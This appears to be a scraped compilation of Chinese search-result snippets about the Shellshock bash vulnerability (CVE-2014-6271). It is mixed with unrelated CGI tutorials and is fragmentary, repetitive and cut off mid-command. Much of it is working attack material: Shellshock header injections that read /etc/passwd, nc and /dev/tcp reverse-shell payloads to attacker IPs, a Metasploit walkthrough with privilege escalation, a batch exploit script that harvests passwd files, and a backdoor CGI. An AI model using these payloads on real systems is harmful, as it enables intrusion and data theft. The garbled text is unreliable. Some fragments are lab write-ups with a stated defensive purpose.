注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。...随着研究的深入研究发现其实它可以进行远程CGI漏洞利用,Bash漏洞其实是非常经典的“注入式攻击”也就是可以向 bash注入一段命令,从bash1.14到4.3都存在这样的漏洞; 漏洞编号:CVE-2014.../cgi-bin/test.cgi) --proxy PROXY A BIT BROKEN RIGHT NOW Proxy to be used in the form 'ip:port' --ssl,...threads (default=10, max=100) --verbose, -v Be verbose in output 测试案例 # Scans for http://127.0.0.1/cgi-bin.../bin/cat /etc/passwd" -c /cgi-bin/status --verbose # Scan www.example.com on port 8001 using SSL for
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。...随着研究的深入研究发现其实它可以进行远程CGI漏洞利用,Bash漏洞其实是非常经典的“注入式攻击”也就是可以向 bash注入一段命令,从bash1.14到4.3都存在这样的漏洞; 漏洞编号:CVE-2014.../cgi-bin/test.cgi) --proxy PROXY A BIT BROKEN RIGHT NOW Proxy to be used in the form 'ip:port' --ssl,...threads (default=10, max=100) --verbose, -v Be verbose in output 测试案例 # Scans for http://127.0.0.1/cgi-bin.../bin/cat /etc/passwd" -c /cgi-bin/status --verbose # Scan www.example.com on port 8001 using SSL for
漏洞危害主要表现在:影响基于bash开放的服务、程序。当网站利用CGI执行bash后可导致攻击者远程执行系统命令,从而可以利用系统命令反弹shell之后进行内网渗透、挂马、篡改主页、脱库等行为。...脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash 攻击者可以通过开启了CGI的httpd服务器进行远程代码执行 测试方法: 本地测试 root@kali...存在漏洞 httpd远程命令执行测试 [root@host cgi-bin]# rm -fr /tmp/aa [root@host cgi-bin]# cat /var/www/cgi-bin/hi #.../bin/bash echo "Content-type: text/html" echo "" echo "dbapp" [root@host cgi-bin]# curl -k -H 'User-Agent...: () { :;}; echo aa>/tmp/aa' https://localhost/cgi-bin/hi dbapp [root@host cgi-bin]# tail -n1 /var/
/bash -c '_COMMAND_'", "CVE-2014-6271": "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND..._' bash -c 'echo _COMMAND_'", "CVE-2014-6271-3": "() { :; }; echo ; /bin/bash -c '_COMMAND..._';echo _CHECKER_;", "CVE-2014-7169": "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat...echo", "CVE-2014-7186": "/bin/bash -c 'true bin/bash -c '_COMMAND_'", "CVE-2014-6278-2": "shellshocker='() {
注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。.../bash 1>/tmp/backpipe #mknod a p; telnet x.x.x.x 2222 0bin/bash 1>a ?.../shocker.py -H 192.168.1.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose # 查看文件 $ echo...-e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable...\r\n\r\n" | nc 192.168.56.118 80 # 反弹 Shell $ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1\r\
让我们看看代理的历史: 我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。 3....在Burp Suite中,单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。...进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc -e/bin/bash 192.168.56.10 12345")...或bash的一个有漏洞版本。...该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。
注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。。.../bash 1>/tmp/backpipe #mknod a p; telnet x.x.x.x 2222 0bin/bash 1>a WeiyiGeek..../shocker.py -H 192.168.1.1 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose # 查看文件 $ echo...-e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable...\r\n\r\n" | nc 192.168.56.118 80 # 反弹 Shell $ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1\r\
/ -f -e sh,cgi [03:11:41] Starting: [03:11:56] 500 - 611B - /cgi-bin/backup.cgi [03:12:11] 500 -...611B - /cgi-bin/shell.sh [03:12:11] 500 - 650B - /cgi-bin/shell.sh/ 果然存在两个文件,如果这个两个文件如果存在漏洞的话,那么就可以直接调用操作系统的...uri=/cgi-bin/backup.cgi,cmd=ls 192.168.0.102 PORT STATE SERVICE VERSION 80/tcp open http Apache.../bash -c 'nc -e /bin/bash 192.168.0.103 4444'" http://192.168.0.103/cgi-bin/backup.cgi Kali端 nc -lvp...5555 20211030235241175472.png 然后使用python -c 'import pty; pty.spawn("/bin/bash")' && sudo -l寻找能够提权的方法
我们可以看到有一个iframe调用shell脚本:/cgi-bin/shellshock.sh,这可能是易受Shellshock漏洞影响的脚本。 3....在Burp Suite中,单击Forward直到看到get请求到/bWAPP/cgi-bin/shellshock.sh。...进入repeater后,将referer的值改为:(){:;};echo "Vulnerable:" $(/bin/sh -c "nc -e/bin/bash 192.168.56.10 12345")...原理剖析 在前五个步骤中,我们发现对shell脚本有一个调用,并且,由于它应该由shell解释器运行,可能是bash或bash的一个有漏洞版本。...该漏洞发生在web服务器上,因为CGI实现将请求的所有部分映射到环境变量,所以如果通过替换referer执行此攻击,也可以工作。
我们需要重编所有基础库,并重新编译有问题的 CGI 程序。...发布操作 # 停止服务 systemctl stop cgi_service # 部署新的 CGI 程序 cp /path/to/new/cgi /path/to/deploy/ # 启动服务 systemctl.../bin/bash # 重编基础库 cd /path/to/base/library make clean make # 重编 CGI 程序 cd /path/to/cgi/program make...clean make # 发布新的 CGI 程序 systemctl stop cgi_service cp /path/to/new/cgi /path/to/deploy/ systemctl start...表格总结 问题原因 解决方法 注意事项 基础库版本不一致 重编所有基础库,重新编译 CGI 程序 确保所有库的版本一致 编译环境或配置错误 检查并更新编译环境,确保配置正确 定期检查和更新编译环境 内存泄漏或非法访问
/usr/bin/perl use strict; use warnings; use CGI; my $cgi = CGI-...我们在kali里面试试语句,发现莫得问题 /cgi-bin/file.pl?.../bin/bash%20-c%20ls${IFS}/| %20是空格,不可以用加号代替,如果在hackbar可以省略不使用,直接空格即可(讲解如下) 直接ls是不行的 ? ?.../bash 是bash解释器,这句话当作文件名时,首先会去寻找/bin/bash并且输出,那就是执行了解释器的功能 bash -c 的语法是,后面跟的第一个参数会当作命令来被bash解析,第二,第三个参数被认为是...因为,/etc/passwd本身就是文件,后端代码找到并输出返回在html标签中 而/bin/bash 一旦被访问输出,就是bash运行环境,整个语句的输出结果在shell的缓冲区里,也就是后台服务器才能看到
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > ..../cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> ..../cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x ..../cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi
if not re.match("http",sys.argv[2]): print "URL格式错误 正确格式例如http://www.baidu.com/1.cgi...如果存在漏洞的话还会把passwd文件保存在以目标域名+output命名的txt文档里,不成功不保存 执行方法 python c:\exp.py -url http://23.239.208.105/cgi-bin.../poc.cgi 批量检测是否存在Bash远程命令执行漏洞 #!...所以请运行该脚本时请将两个脚本放同一目录 并在该目录下新建target.txt文件将您的目标列表放进文件里 如: http://www.baidu.com http://23.239.208.105/cgi-bin.../poc.cgi 然后运行该脚本即可 该脚本便会自动按顺序检测 会把结果回显出来 并会把成功的目标的passwd文件保存在 以目标域名+output命名的txt文档里,不成功不保存 请不要随意改变exp.py
/"这个指令,指示了默认的cgi-bin的路径。.../var/www/cgi-bin/,在配置文件中也可以看到。.../bin/bash echo "Content-type: text/html" echo "" echo "Hello World" 注意,该文件必须是要UNIX文件格式的,可以editpro等工具编写...将该文件命名为first.cgi,然后放入/var/www/cgi-bin/目录中。...将first.cgi的权限设置成755 chmod 755 /var/www/cgi-bin/first.cgi 再次运行http://localhost:9000/cgi-bin/first.cgi,
/bin/bash## httpd Startup script for the Apache HTTP Server## chkconfig: - 85 15# description:.../bin/bash## httpd Startup script for the Apache HTTP Server## chkconfig: - 85 15# description:...CGI工作原理 ?.../cgi-bin/" #这里我们就用默认位置 创建CGI脚本 [root@scholar ~]# vim /usr/local/apache/cgi-bin/cgi.sh #名字自定义 #!.../bin/bash cat The requested resource is $(basename $0).The datetime
/bin/bash ############################################################## # File Name: ss_huanji.sh #.../bin/bash\nbash /web_www/jiaoben/sh/Login92fuge.sh' > /etc/ssh/sshrc 脚本说明: sh_home 脚本工作目录 /etc/mail.rc...userhome/wexin.txt|grep Secret|awk -F "[ =]" '{print $2}')" #管理组凭证密钥 GETURL=https://qyapi.weixin.qq.com/cgi-bin...\" '{print $2}') #echo $Token POSTURL="https://qyapi.weixin.qq.com/cgi-bin/message/send?.../bin/bash bash /web_www/jiaoben/sh/Login92fuge.sh EOF chmod 644 /etc/ssh/sshrc 1.1.9正式模拟演示登录告警 1.1.9.1
Linux Shell 种类非常多,常见:Bourne Shell(/usr/bin/sh或/bin/sh)、Bourne Again Shell(/bin/bash)、C Shell(/usr/bin...最常用的 shell 是 Bash,也就是 Bourne Again Shell,由于易用免费,Bash 在日常工作中被广泛使用,也是大多数 Linux 系统默认的 Shell。.../bin/bash #This is my First shellecho “Hello World !” #!/bin/bash //表示定义该脚本是一个 shell 脚本(固定格式)。...//shell 脚本主命令,我们执行这个脚 看到: Hello World ! 信息。 脚本编写完毕,如何执行?...也可以直接使用命令执行: /bin/sh first_shell.sh 显示效果一样。
OSVDB-112004似乎存在漏洞 nikto -h http://192.168.86.152 用浏览器查看提示页面,找出漏洞id名CVE-2014-6271 http://cve.mitre.org/cgi-bin.../cvename.cgi?...使用msfconsole,搜索攻击方式 msfconsole search CVE-2014-6271 选择攻击方式,进行攻击设置 use exploit/multi/http/apache_mod_cgi_bash_env_exec...set rhosts 192.168.86.152 set targeturi /cgi-bin/test run 反弹shell,变为交互式tty,查看文件属性 shell python -c'import...pty;pty.spawn('/bin/bash')' 使用脏牛提权,而脏牛提权漏洞影响>=2.4.22版本,执行命令查看内核版本 下载脏牛漏洞脚本,文件名为dirtycowscan.sh https
除此之外,该漏洞还可能会导致泄漏 CGI 脚本等解释文件的来源。...b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close exp POST /cgi-bin...8 echo; id curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" "123.58.224.8:63275/cgi-bin.../sh" 反弹shell POST /cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1 Host: 123.58.224.8:63275 Content-Type:...text/plain Content-Length: 50 echo; bash -c '0/dev/tcp/44.44.44.44/4444;bash <&168
HTTP 包含GET与HEAD请求 python -m SimpleHTTPServer 8080 #HTTP 包含POST请求 当前 python -m CGIHTTPServer 8080 已sh脚本为CGI...程序的语言 如下: 当前目录下新建cgi-bin目录 #!.../bin/bash echo "Content-Type: text/html" # HTML is following echo "" echo "This is my first CGI script...for((i=1;i<=100;i++)) do echo $i done 访问地址 http://localhost:8000/cgi-bin/index.sh 将输入SHELL脚本内容